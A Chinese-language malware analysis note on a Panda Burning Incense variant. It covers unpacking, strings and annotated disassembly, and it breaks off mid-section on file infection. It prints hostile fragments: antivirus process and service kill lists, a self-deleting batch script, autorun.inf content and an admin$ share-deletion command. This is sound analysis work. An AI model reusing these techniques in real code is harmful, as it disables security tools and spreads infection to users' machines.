新版熊猫病毒分析笔记-by cyto
从某处下了个所谓的新版本熊猫烧香.
根据字符串结合loveboom的文章进行了深入的学习.
不敢独享,分享如下.
GameSetup.exe
1.脱壳:
FSG 2.0 -> bart/xt
Borland Delphi 6.0 - 7.0
ep:
00400154 G> 8725 F4D24100 xchg dword ptr ds:[41D2F4],esp
0040015A 61 popad
0040015B 94 xchg eax,esp
0040015C 55 push ebp
0040015D A4 movs byte ptr es:[edi],byte ptr ds:[e>
0040015E B6 80 mov dh,80
00400160 FF13 call dword ptr ds:[ebx]
00400162 ^ 73 F9 jnb short GameSetu.0040015D
...
004001CC 40 inc eax
004001CD ^ 78 F3 js short GameSetu.004001C2
004001CF 75 03 jnz short GameSetu.004001D4
004001D1 - FF63 0C jmp dword ptr ds:[ebx+C] ; GameSetu.0040D278 ,OEP
004001D4 50 push eax
004001D5 55 push ebp
004001D6 FF53 14 call dword ptr ds:[ebx+14]
004001D9 AB stos dword ptr es:[edi]
004001DA ^ EB EE jmp short GameSetu.004001CA
OEP:
0040D278 55 push ebp ; URLMON.702B0000
0040D279 8BEC mov ebp,esp
0040D27B 83C4 E8 add esp,-18
0040D27E 53 push ebx
0040D27F 56 push esi
0040D280 33C0 xor eax,eax
0040D282 8945 E8 mov dword ptr ss:[ebp-18],eax
0040D285 8945 EC mov dword ptr ss:[ebp-14],eax
0040D288 B8 C8D14000 mov eax,GameSetu.0040D1C8
0040D28D E8 5677FFFF call GameSetu.004049E8
文本字符串参考位于 GameSetu:
地址 反汇编 文本字符串
0040626A mov eax,GameSetu.004069D8 ASCII "VirusScan"
00406296 mov eax,GameSetu.004069EC ASCII "NOD32"
004064B0 mov eax,GameSetu.00406AB4 ASCII "Symantec AntiVirus"
004064E2 mov eax,GameSetu.00406AD0 ASCII "Duba"
00406514 mov eax,GameSetu.00406AE0 ASCII "esteem procs"
0040660E mov eax,GameSetu.00406B44 ASCII "System Safety Monitor"
00406640 mov eax,GameSetu.00406B64 ASCII "Wrapped gift Killer"
00406672 mov eax,GameSetu.00406B80 ASCII "Winsock Expert"
0040670E push GameSetu.00406BC0 ASCII "msctls_statusbar32"
00406748 mov eax,GameSetu.00406BDC ASCII "pjf(ustc)"
004067E4 push GameSetu.00406BE8 ASCII "IceSword"
00406826 mov eax,GameSetu.00406BFC ASCII "Mcshield.exe"
00406830 mov eax,GameSetu.00406C14 ASCII "VsTskMgr.exe"
0040683A mov eax,GameSetu.00406C2C ASCII "naPrdMgr.exe"
00406844 mov eax,GameSetu.00406C44 ASCII "UpdaterUI.exe"
0040684E mov eax,GameSetu.00406C5C ASCII "TBMon.exe"
00406858 mov eax,GameSetu.00406C70 ASCII "scan32.exe"
00406862 mov eax,GameSetu.00406C84 ASCII "Ravmond.exe"
0040686C mov eax,GameSetu.00406C98 ASCII "CCenter.exe"
00406876 mov eax,GameSetu.00406CAC ASCII "RavTask.exe"
00406880 mov eax,GameSetu.00406CC0 ASCII "Rav.exe"
0040688A mov eax,GameSetu.00406CD0 ASCII "Ravmon.exe"
00406894 mov eax,GameSetu.00406CE4 ASCII "RavmonD.exe"
0040689E mov eax,GameSetu.00406CF8 ASCII "RavStub.exe"
004068A8 mov eax,GameSetu.00406D0C ASCII "KVXP.kxp"
004068B2 mov eax,GameSetu.00406D20 ASCII "KvMonXP.kxp"
004068BC mov eax,GameSetu.00406D34 ASCII "KVCenter.kxp"
004068C6 mov eax,GameSetu.00406D4C ASCII "KVSrvXP.exe"
004068D0 mov eax,GameSetu.00406D60 ASCII "KRegEx.exe"
004068DA mov eax,GameSetu.00406D74 ASCII "UIHost.exe"
004068E4 mov eax,GameSetu.00406D88 ASCII "TrojDie.kxp"
004068EE mov eax,GameSetu.00406D9C ASCII "FrogAgent.exe"
004068F8 mov eax,GameSetu.00406D0C ASCII "KVXP.kxp"
00406902 mov eax,GameSetu.00406D20 ASCII "KvMonXP.kxp"
0040690C mov eax,GameSetu.00406D34 ASCII "KVCenter.kxp"
00406916 mov eax,GameSetu.00406D4C ASCII "KVSrvXP.exe"
00406920 mov eax,GameSetu.00406D60 ASCII "KRegEx.exe"
0040692A mov eax,GameSetu.00406D74 ASCII "UIHost.exe"
00406934 mov eax,GameSetu.00406D88 ASCII "TrojDie.kxp"
0040693E mov eax,GameSetu.00406D9C ASCII "FrogAgent.exe"
00406948 mov eax,GameSetu.00406DB4 ASCII "Logo1_.exe"
00406952 mov eax,GameSetu.00406DC8 ASCII "Logo_1.exe"
0040695C mov eax,GameSetu.00406DDC ASCII "Rundl132.exe"
00406966 mov eax,GameSetu.00406DF4 ASCII "regedit.exe"
00406970 mov eax,GameSetu.00406E08 ASCII "msconfig.exe"
0040697A mov eax,GameSetu.00406E20 ASCII "taskmgr.exe"
00406E44 mov eax,GameSetu.00407014 ASCII "Schedule"
00406E4E mov eax,GameSetu.00407028 ASCII "sharedaccess"
00406E58 mov eax,GameSetu.00407040 ASCII "RsCCenter"
00406E62 mov eax,GameSetu.00407054 ASCII "RsRavMon"
00406E6C mov eax,GameSetu.00407060 ASCII "RsCCenter"
00406E76 mov eax,GameSetu.0040706C ASCII "RsRavMon"
00406E80 mov edx,GameSetu.00407080 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask"
00406E8F mov eax,GameSetu.004070C0 ASCII "KVWSC"
00406E99 mov eax,GameSetu.004070D0 ASCII "KVSrvXP"
00406EA3 mov eax,GameSetu.004070D8 ASCII "KVWSC"
00406EAD mov eax,GameSetu.004070E0 ASCII "KVSrvXP"
00406EB7 mov edx,GameSetu.004070F0 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP"
00406EC6 mov eax,GameSetu.00407130 ASCII "kavsvc"
00406ED0 mov eax,GameSetu.00407140 ASCII "AVP"
00406EDA mov eax,GameSetu.00407144 ASCII "AVP"
00406EE4 mov eax,GameSetu.00407148 ASCII "kavsvc"
00406EEE mov edx,GameSetu.00407158 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav"
00406EFD mov edx,GameSetu.00407194 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50"
00406F0C mov eax,GameSetu.004071D8 ASCII "McAfeeFramework"
00406F16 mov eax,GameSetu.004071F0 ASCII "McShield"
00406F20 mov eax,GameSetu.00407204 ASCII "McTaskManager"
00406F2A mov eax,GameSetu.00407214 ASCII "McAfeeFramework"
00406F34 mov eax,GameSetu.00407224 ASCII "McShield"
00406F3E mov eax,GameSetu.00407230 ASCII "McTaskManager"
00406F48 mov edx,GameSetu.00407248 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI"
00406F57 mov edx,GameSetu.00407290 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error Reporting Service"
00406F66 mov edx,GameSetu.004072F4 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE"
00406F75 mov eax,GameSetu.0040732C ASCII "navapsvc"
00406F7F mov eax,GameSetu.00407338 ASCII "wscsvc"
00406F89 mov eax,GameSetu.00407340 ASCII "KPfwSvc"
00406F93 mov eax,GameSetu.00407348 ASCII "SNDSrvc"
00406F9D mov eax,GameSetu.00407350 ASCII "ccProxy"
00406FA7 mov eax,GameSetu.00407358 ASCII "ccEvtMgr"
00406FB1 mov eax,GameSetu.00407364 ASCII "ccSetMgr"
00406FBB mov eax,GameSetu.00407370 ASCII "SPBBCSvc"
00406FC5 mov eax,GameSetu.0040737C ASCII "Symantec Core LC"
00406FCF mov eax,GameSetu.00407390 ASCII "NPFMntor"
00406FD9 mov eax,GameSetu.0040739C ASCII "MskService"
00406FE3 mov eax,GameSetu.004073A8 ASCII "FireSvc"
00406FED mov edx,GameSetu.004073B8 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe"
00406FFC mov edx,GameSetu.004073F8 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse"
004075D5 mov ecx,GameSetu.0040764C ASCII ":\"
004079FF mov edx,GameSetu.00407AF4 ASCII "Search"
00407A04 mov eax,GameSetu.00407B04 ASCII "=nb{end''w{g>ispy>,.ps~*bb?2''gm.12&mmeb|''lwl''s``wi:&9&#ibmnlw<%4+:?.nb{end9"
00407BB6 push GameSetu.00407E44 ASCII "$$.bat"
00407BEE mov edx,GameSetu.00407E54 ASCII ":try1"
00407C08 push GameSetu.00407E64 ASCII "del ""
00407C50 push GameSetu.00407E80 ASCII "if exist ""
00407C6D push GameSetu.00407E94 ASCII " goto try1"
00407C9D push GameSetu.00407EA8 ASCII "ren ""
00407CB5 push GameSetu.00407EB8 ASCII ".exe"
00407D1D push GameSetu.00407E80 ASCII "if exist ""
00407D35 push GameSetu.00407EB8 ASCII ".exe"
00407D3F push GameSetu.00407ED4 ASCII " goto try2"
00407DB7 mov edx,GameSetu.00407EE8 ASCII ":try2"
00407DD1 mov edx,GameSetu.00407EF8 ASCII "del %0"
00407FDE mov eax,GameSetu.0040815C ASCII "WhBoy"
00408060 push GameSetu.0040817C ASCII ".exe"
004081E1 mov edx,GameSetu.00408798 ASCII "Desktop_.ini"
00408227 mov edx,GameSetu.00408798 ASCII "Desktop_.ini"
0040826D mov edx,GameSetu.00408798 ASCII "Desktop_.ini"
00408329 push GameSetu.004087B0 ASCII "drivers\"
0040832E push GameSetu.004087C4 ASCII "spo0lsv.exe"
00408366 mov eax,GameSetu.004087C4 ASCII "spo0lsv.exe"
00408370 mov eax,GameSetu.004087C4 ASCII "spo0lsv.exe"
00408390 push GameSetu.004087B0 ASCII "drivers\"
00408395 push GameSetu.004087C4 ASCII "spo0lsv.exe"
004083D5 push GameSetu.004087B0 ASCII "drivers\"
004083DA push GameSetu.004087C4 ASCII "spo0lsv.exe"
0040842C push GameSetu.004087B0 ASCII "drivers\"
00408431 push GameSetu.004087C4 ASCII "spo0lsv.exe"
00408589 mov eax,GameSetu.004087C4 ASCII "spo0lsv.exe"
004085B1 push GameSetu.004087B0 ASCII "drivers\"
004085B6 push GameSetu.004087C4 ASCII "spo0lsv.exe"
004085F4 push GameSetu.004087B0 ASCII "drivers\"
004085F9 push GameSetu.004087C4 ASCII "spo0lsv.exe"
0040867D push GameSetu.004087B0 ASCII "drivers\"
00408682 push GameSetu.004087C4 ASCII "spo0lsv.exe"
004086FB push GameSetu.004087B0 ASCII "drivers\"
00408700 push GameSetu.004087C4 ASCII "spo0lsv.exe"
00408858 mov ecx,GameSetu.00409130 ASCII "*.*"
004088AA mov eax,GameSetu.0040913C ASCII "WINDOWS"
004088E4 mov eax,GameSetu.0040914C ASCII "WINNT"
0040891E mov eax,GameSetu.0040915C ASCII "system32"
00408958 mov eax,GameSetu.00409170 ASCII "Documents and Settings"
00408992 mov eax,GameSetu.00409190 ASCII "System Volume Information"
004089CC mov eax,GameSetu.004091B4 ASCII "Recycled"
00408A06 mov eax,GameSetu.004091C8 ASCII "Windows NT"
00408A40 mov eax,GameSetu.004091DC ASCII "WindowsUpdate"
00408A7A mov eax,GameSetu.004091F4 ASCII "Windows Media Player"
00408AB4 mov eax,GameSetu.00409214 ASCII "Outlook Express"
00408AEE mov eax,GameSetu.0040922C ASCII "Internet Explorer"
00408B28 mov eax,GameSetu.00409248 ASCII "NetMeeting"
00408B62 mov eax,GameSetu.0040925C ASCII "Common Files"
00408B9C mov eax,GameSetu.00409274 ASCII "ComPlus Applications"
00408BD6 mov eax,GameSetu.0040925C ASCII "Common Files"
00408C10 mov eax,GameSetu.00409294 ASCII "Messenger"
00408C4A mov eax,GameSetu.004092A8 ASCII "InstallShield Installation Information"
00408C84 mov eax,GameSetu.004092D8 ASCII "MSN"
00408CBE mov eax,GameSetu.004092E4 ASCII "Microsoft Frontpage"
00408CF8 mov eax,GameSetu.00409300 ASCII "Movie Maker"
00408D32 mov eax,GameSetu.00409314 ASCII "MSN Gamin Zone"
00408D6F push GameSetu.0040932C ASCII "\Desktop_.ini"
00408DA0 push GameSetu.0040932C ASCII "\Desktop_.ini"
00408E6D push GameSetu.0040932C ASCII "\Desktop_.ini"
00408F0E push GameSetu.0040932C ASCII "\Desktop_.ini"
00408F3C push GameSetu.0040932C ASCII "\Desktop_.ini"
00408F7C push GameSetu.0040932C ASCII "\Desktop_.ini"
0040901D push GameSetu.0040932C ASCII "\Desktop_.ini"
0040904B push GameSetu.0040932C ASCII "\Desktop_.ini"
004093B8 mov ecx,GameSetu.0040A1BC ASCII "*.*"
0040940A mov eax,GameSetu.0040A1C8 ASCII "WINDOWS"
00409444 mov eax,GameSetu.0040A1D8 ASCII "WINNT"
0040947E mov eax,GameSetu.0040A1E8 ASCII "system32"
004094B8 mov eax,GameSetu.0040A1FC ASCII "Documents and Settings"
004094F2 mov eax,GameSetu.0040A21C ASCII "System Volume Information"
0040952C mov eax,GameSetu.0040A240 ASCII "Recycled"
00409566 mov eax,GameSetu.0040A254 ASCII "Windows NT"
004095A0 mov eax,GameSetu.0040A268 ASCII "WindowsUpdate"
004095DA mov eax,GameSetu.0040A280 ASCII "Windows Media Player"
00409614 mov eax,GameSetu.0040A2A0 ASCII "Outlook Express"
0040964E mov eax,GameSetu.0040A2B8 ASCII "Internet Explorer"
00409688 mov eax,GameSetu.0040A2D4 ASCII "NetMeeting"
004096C2 mov eax,GameSetu.0040A2E8 ASCII "Common Files"
004096FC mov eax,GameSetu.0040A300 ASCII "ComPlus Applications"
00409736 mov eax,GameSetu.0040A2E8 ASCII "Common Files"
00409770 mov eax,GameSetu.0040A320 ASCII "Messenger"
004097AA mov eax,GameSetu.0040A334 ASCII "InstallShield Installation Information"
004097E4 mov eax,GameSetu.0040A364 ASCII "MSN"
0040981E mov eax,GameSetu.0040A370 ASCII "Microsoft Frontpage"
00409858 mov eax,GameSetu.0040A38C ASCII "Movie Maker"
00409892 mov eax,GameSetu.0040A3A0 ASCII "MSN Gamin Zone"
004098CF push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409900 push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
004099CD push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409A6E push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409A9C push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409ADC push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409B7D push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409BAB push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409C33 mov edx,GameSetu.0040A3DC ASCII "GHO"
00409C94 mov eax,GameSetu.0040A3E8 ASCII "setup.exe"
00409CCE mov eax,GameSetu.0040A3FC ASCII "NTDETECT.COM"
00409D31 mov eax,GameSetu.0040A414 ASCII "EXE"
00409D97 mov eax,GameSetu.0040A420 ASCII "SCR"
00409DFD mov eax,GameSetu.0040A42C ASCII "PIF"
00409E63 mov eax,GameSetu.0040A438 ASCII "COM"
00409EC9 mov eax,GameSetu.0040A444 ASCII "htm"
00409F2F mov eax,GameSetu.0040A450 ASCII "html"
00409F95 mov eax,GameSetu.0040A460 ASCII "asp"
00409FFB mov eax,GameSetu.0040A46C ASCII "php"
0040A061 mov eax,GameSetu.0040A478 ASCII "jsp"
0040A0C7 mov eax,GameSetu.0040A484 ASCII "aspx"
0040A544 mov edx,GameSetu.0040A5AC ASCII ":\"
0040AA73 push GameSetu.0040AD64 ASCII "GameSetup.exe"
0040AA99 push GameSetu.0040AD7C ASCII "drivers\"
0040AA9E push GameSetu.0040AD90 ASCII "spo0lsv.exe"
0040AB44 push GameSetu.0040AD64 ASCII "GameSetup.exe"
0040AC6B mov eax,GameSetu.0040ADA4 ASCII "admin$"
0040B913 mov edx,GameSetu.0040BA14 ASCII "\\"
0040B9AB mov edx,GameSetu.0040BA14 ASCII "\\"
0040BA25 push GameSetu.0040BA68 ASCII "NetShareEnum"
0040BA35 push GameSetu.0040BA78 ASCII "NetApiBufferFree"
0040BA45 push GameSetu.0040BA68 ASCII "NetShareEnum"
0040BCB9 mov ecx,GameSetu.0040BD30 ASCII ":\"
0040BF9F mov ecx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040BFC4 mov ecx,GameSetu.0040C308 ASCII ":\autorun.inf"
0040C05B mov edx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040C0BA mov edx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040C11D mov edx,GameSetu.0040C320 ASCII "[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
"
0040C19A mov edx,GameSetu.0040C320 ASCII "[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
"
0040C20F mov edx,GameSetu.0040C320 ASCII "[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
"
0040C253 mov edx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040C528 mov edx,GameSetu.0040C5D8 ASCII "xboy"
0040C60C mov edx,GameSetu.0040C720 ASCII "QQ"
0040C625 push GameSetu.0040C724 ASCII "QQ"
0040C777 mov edx,GameSetu.0040C9A0 ASCII "QQ"
0040C793 mov eax,GameSetu.0040C9AC ASCII "
"
0040C7AC mov eax,GameSetu.0040C9AC ASCII "
"
0040C7CD mov eax,GameSetu.0040C9AC ASCII "
"
0040C9FF mov edx,GameSetu.0040CC24 ASCII "QQ"
0040CA1B mov eax,GameSetu.0040CC30 ASCII "
"
0040CA34 mov eax,GameSetu.0040CC30 ASCII "
"
0040CA55 mov eax,GameSetu.0040CC30 ASCII "
"
0040CE1D push GameSetu.0040CE94 ASCII "cmd.exe /c net share "
0040CE34 push GameSetu.0040CEB4 ASCII "$ /del /y"
0040CE5B push GameSetu.0040CEC0 ASCII "cmd.exe /c net share admin$ /del /y"
0040CF09 push GameSetu.0040CF7C ASCII "drivers\"
0040CF0E push GameSetu.0040CF90 ASCII "spo0lsv.exe"
0040CF29 mov ecx,GameSetu.0040CF9C ASCII "svcshare"
0040CF2E mov edx,GameSetu.0040CFA8 ASCII "Software\Microsoft\Windows\CurrentVersion\Run"
0040CF3F mov edx,GameSetu.0040CFE0 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
0040D04E push GameSetu.0040CC34 ASCII "QTj"
0040D0C6 push GameSetu.0040D048 ASCII "QTj"
0040D0DE push GameSetu.00407430 ASCII "QTj"
0040D278 push ebp (初始 CPU 选择)
0040D5D6 mov edx,GameSetu.0040D890 ASCII "xboy"
0040D600 mov edx,GameSetu.0040D8CC ASCII "whboy"
2.静态分析:按字符串参考顺序
2.1 关闭包含字符串的窗口:
建立线程:
00406E2C 51 push ecx
00406E2D 54 push esp
00406E2E 6A 00 push 0
00406E30 6A 00 push 0
00406E32 68 B8614000 push GameSetu.004061B8 ; 执行主体
00406E37 6A 00 push 0
00406E39 6A 00 push 0
00406E3B E8 BCDCFFFF call GameSetu.00404AFC ; jmp to KERNEL32.CreateThread
00406E40 5A pop edx
00406E41 C3 retn
用到的函数:
004061E3 E8 2CEAFFFF call GameSetu.00404C14 ; jmp to user32.GetDesktopWindow
004061F0 E8 17EAFFFF call GameSetu.00404C0C ; jmp to user32.FindWindowExA
004061FB E8 24EAFFFF call GameSetu.00404C24 ; jmp to user32.GetWindowTextA
00406227 E8 10EAFFFF call GameSetu.00404C3C ; jmp to user32.PostMessageA
示例过程:
0040648C 6A 00 push 0
0040648E 6A 00 push 0
00406490 6A 12 push 12
00406492 53 push ebx
00406493 E8 A4E7FFFF call <jmp.&user32.PostMessageA>
00406498 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-A4]
0040649E 8BD6 mov edx,esi
004064A0 B9 65000000 mov ecx,65
004064A5 E8 0ADAFFFF call dumped_.00403EB4
004064AA 8B95 5CFFFFFF mov edx,dword ptr ss:[ebp-A4]
004064B0 B8 B46A4000 mov eax,dumped_.00406AB4 ; ASCII "Symantec AntiVirus"
004064B5 E8 FADCFFFF call dumped_.004041B4
004064BA 85C0 test eax,eax
004064BC 74 0C je short dumped_.004064CA
字符串基本针对杀软,包括:
防火墙;VirusScan;NOD32;网镖;杀毒;毒霸;瑞星;超级兔子;
优化大师;木马清道夫;木馬清道夫;卡巴斯基反病毒;
Symantec AntiVirus;Duba;esteem procs;绿鹰PC;
密码防盗;噬菌体;木马辅助查找器;System Safety Monitor;
Wrapped gift Killer;Winsock Expert;游戏木马检测大师;
超级巡警;IceSword;msctls_statusbar32;pjf(ustc).
2.2 结束进程:
00406826 B8 FC6B4000 mov eax,dumped_.00406BFC ; ASCII "Mcshield.exe"
0040682B E8 94F7FFFF call dumped_.00405FC4
一个个进程枚举比较:
00406091 8B95 C8FEFFFF mov edx,dword ptr ss:[ebp-138]
00406097 58 pop eax
00406098 E8 7BDFFFFF call dumped_.00404018 ; 比较
0040609D 75 12 jnz short dumped_.004060B1 ; 不是继续
0040609F 8B43 08 mov eax,dword ptr ds:[ebx+8]
004060A2 E8 FDFEFFFF call dumped_.00405FA4
004060A7 8BD8 mov ebx,eax
004060A9 56 push esi
004060AA E8 2DEAFFFF call <jmp.&kernel32.CloseHandle> ; 关闭
004060AF EB 1F jmp short dumped_.004060D0
进程包括:
杀软:
Mcshield.exe;VsTskMgr.exe;naPrdMgr.exe;UpdaterUI.exe;TBMon.exe;scan32.exe;
Ravmond.exe;CCenter.exe;RavTask.exe;Rav.exe;Ravmon.exe;RavmonD.exe;RavStub.exe;
KVXP.kxp;KvMonXP.kxp;KVCenter.kxp;KVSrvXP.exe;KRegEx.exe;
UIHost.exe;TrojDie.kxp;FrogAgent.exe;
Viking:
Logo1_.exe;Logo_1.exe;Rundl132.exe;
Windows:
regedit.exe;msconfig.exe;taskmgr.exe.
2.3 关闭或删除服务:
间隔6s尝试关闭或删除服务.
0040D0D9 A3 B8E24000 mov dword ptr ds:[40E2B8],eax
0040D0DE 68 30744000 push GameSetu.00407430 ; ASCII "QTj",执行地址
0040D0E3 68 70170000 push 1770 ; 时间,6000ms
0040D0E8 6A 00 push 0
0040D0EA 6A 00 push 0
0040D0EC E8 537BFFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
00407430 51 push ecx
00407431 54 push esp
00407432 6A 00 push 0
00407434 6A 00 push 0
00407436 68 446E4000 push GameSetu.00406E44 ; 执行主体
0040743B 6A 00 push 0
0040743D 6A 00 push 0
0040743F E8 B8D6FFFF call GameSetu.00404AFC ; jmp to KERNEL32.CreateThread
00407444 5A pop edx
00407445 C3 retn
00406E44 B8 14704000 mov eax,GameSetu.00407014 ; ASCII "Schedule"
00406E49 E8 6EEDFFFF call GameSetu.00405BBC
00405BE6 E8 89FFFFFF call <jmp.&advapi32.OpenSCManagerA>
00405BFC E8 7BFFFFFF call <jmp.&advapi32.OpenServiceA>
00405C0A E8 55FFFFFF call <jmp.&advapi32.ControlService>
00405C10 E8 47FFFFFF call <jmp.&advapi32.CloseServiceHandle>
00405C16 E8 41FFFFFF call <jmp.&advapi32.CloseServiceHandle>
服务基本都是杀软,有:
Schedule;sharedaccess;RsCCenter;
KVWSC;KVSrvXP;kavsvc;AVP;
McAfeeFramework;McShield;McTaskManager;
navapsvc;wscsvc;KPfwSvc;SNDSrvc;
ccProxy;ccEvtMgr;ccSetMgr;
SPBBCSvc;Symantec Core LC;NPFMntor;
MskService;FireSvc;
涉及到的注册表项:
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error Reporting Service"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse"
2.4 自删除:文件名:数字随机+$$.bat
00407BB6 68 447E4000 push GameSetu.00407E44 ; ASCII "$$.bat"
00407E06 E8 C9CDFFFF call <jmp.&kernel32.WinExec> ; 运行删除
"D:\DOCUME~1\GaoJH\LOCALS~1\Temp\95$$.bat"
:try1
del "E:\GameSetup.exe"
if exist "E:\GameSetup.exe" goto try1
ren "E:\GameSetup.exe.exe" "GameSetup.exe"
if exist "E:\GameSetup.exe.exe" goto try2
"E:\GameSetup.exe"
:try2
del %0
2.5.拷贝病毒到特定文件夹
病毒会将自己复制到%SYSTEM32%DRIVERS目录下文件名为:spo0lsv.exe
判断当前spo0lsv.exe路径是否为:x:\winnt\system32\drivers,如果不是终止进程,拷贝病毒过去并执行:
00408329 68 B0874000 push GameSetu.004087B0 ; ASCII "drivers\"
0040832E 68 C4874000 push GameSetu.004087C4 ; ASCII "spo0lsv.exe"
...
0040836B E8 54DCFFFF call GameSetu.00405FC4 ; 终止进程
004060AA E8 2DEAFFFF call GameSetu.00404ADC ; jmp to KERNEL32.CloseHandle
00408414 E8 D3C6FFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
00408452 E8 7DC7FFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
2.6 本地磁盘感染
除了盘符为A,B的磁盘;类型为DRIVE_REMOTE,DRIVE_FIXED的磁盘外,
病毒对系统中所有磁盘进行文件遍历感染.感染过的以Desktop_.ini标志.
某些系统文件夹不进行感染;
文件如果有gho扩展名的,删除;不感染文件大小超过10485760字节以上的;
某些文件也不感染.
004093B8 B9 BCA14000 mov ecx,GameSetu.0040A1BC ; ASCII "*.*" ; 所有文件
...
004093E3 8B85 A4FEFFFF mov eax,dword ptr ss:[ebp-15C] ; 循环开始处
004093E9 83E0 10 and eax,10
004093EC 83F8 10 cmp eax,10
004093EF 0F85 07080000 jnz GameSetu.00409BFC
...
00409404 8D95 84FEFFFF lea edx,dword ptr ss:[ebp-17C]
0040940A B8 C8A14000 mov eax,GameSetu.0040A1C8 ; ASCII "WINDOWS",不感染的文件夹名称
0040940F E8 08BEFFFF call GameSetu.0040521C
...
0040942C 8B95 80FEFFFF mov edx,dword ptr ss:[ebp-180]
00409432 58 pop eax
00409433 E8 E0ABFFFF call GameSetu.00404018 ; 是不是要屏蔽感染的文件夹
00409438 0F84 C70C0000 je GameSetu.0040A105 ; 是的话继续循环
...
00409900 68 B8A34000 push GameSetu.0040A3B8 ; ASCII "\Desktop_.ini",是否有感染标志
...
00409C2D 8B85 90FDFFFF mov eax,dword ptr ss:[ebp-270]
00409C33 BA DCA34000 mov edx,GameSetu.0040A3DC ; ASCII "GHO",是否是Gho扩展名
00409C38 E8 DBA3FFFF call GameSetu.00404018
00409C3D 75 25 jnz short GameSetu.00409C64
...
00409C5F E8 A0AEFFFF call GameSetu.00404B04 ; jmp to KERNEL32.DeleteFileA,删除gho文件.
...
00409C78 8B85 84FDFFFF mov eax,dword ptr ss:[ebp-27C]
00409C7E E8 99DCFFFF call GameSetu.0040791C
00409C83 3D 0000A000 cmp eax,0A00000 ; 如果不是gho文件,大于10485760字节的不感染.
00409C88 0F8D 70040000 jge GameSetu.0040A0FE
...
00409C8E 8D95 80FDFFFF lea edx,dword ptr ss:[ebp-280]
00409C94 B8 E8A34000 mov eax,GameSetu.0040A3E8 ; ASCII "setup.exe",不感染的文件
00409C99 E8 7EB5FFFF call GameSetu.0040521C
...
00409CC8 8D95 78FDFFFF lea edx,dword ptr ss:[ebp-288]
00409CCE B8 FCA34000 mov eax,GameSetu.0040A3FC ; ASCII "NTDETECT.COM",不感染的文件
00409CD3 E8 44B5FFFF call GameSetu.0040521C
...
00409D31 B8 14A44000 mov eax,GameSetu.0040A414 ; ASCII "EXE",感染类型
00409D97 B8 20A44000 mov eax,GameSetu.0040A420 ; ASCII "SCR"
00409DFD B8 2CA44000 mov eax,GameSetu.0040A42C ; ASCII "PIF"
00409E63 B8 38A44000 mov eax,GameSetu.0040A438 ; ASCII "COM"
00409EC9 B8 44A44000 mov eax,GameSetu.0040A444 ; ASCII "htm"
00409F2F B8 50A44000 mov eax,GameSetu.0040A450 ; ASCII "html"
00409F95 B8 60A44000 mov eax,GameSetu.0040A460 ; ASCII "asp"
00409FFB B8 6CA44000 mov eax,GameSetu.0040A46C ; ASCII "php"
0040A061 B8 78A44000 mov eax,GameSetu.0040A478 ; ASCII "jsp"
0040A0C7 B8 84A44000 mov eax,GameSetu.0040A484 ; ASCII "aspx"
...
0040A0FE 6A 14 push 14 ; 休息下
0040A100 E8 BFAAFFFF call GameSetu.00404BC4 ; jmp to KERNEL32.Sleep
0040A105 8D85 9CFEFFFF lea eax,dword ptr ss:[ebp-164]
0040A10B E8 70D4FFFF call GameSetu.00407580
0040A110 85C0 test eax,eax
0040A112 ^ 0F84 CBF2FFFF je GameSetu.004093E3 ; 继续循环感染
不感染的目录包括:
WINDOWS;WINNT;system32;Documents and Settings;System Volume Information;
Recycled;Windows NT;WindowsUpdate;Windows Media Player;Outlook Express;
Internet Explore;NetMeeting;ComPlus Applications;Messenger;
InstallShield Installation Information;MSN;Microsoft Frontpage;Movie Maker;
MSN Gamin Zone.
不感染的文件:
setup.exe;NTDETECT.COM.
感染文件类型:
ASCII "EXE";ASCII "SCR";ASCII "PIF";ASCII "COM";
ASCII "htm";ASCII "html";ASCII "asp";ASCII "php";ASCII "jsp";ASCII "aspx".
2.7 文件感染方式:
2.7.1 二进制可执行文件(后缀后为:EXE,SCR,PIF,COM):
将感染目标文件和病毒溶合成一个文件(被感染文件贴在病毒文件尾部)完成感染.
00409E95 E8 66E0FFFF call GameSetu.00407F00
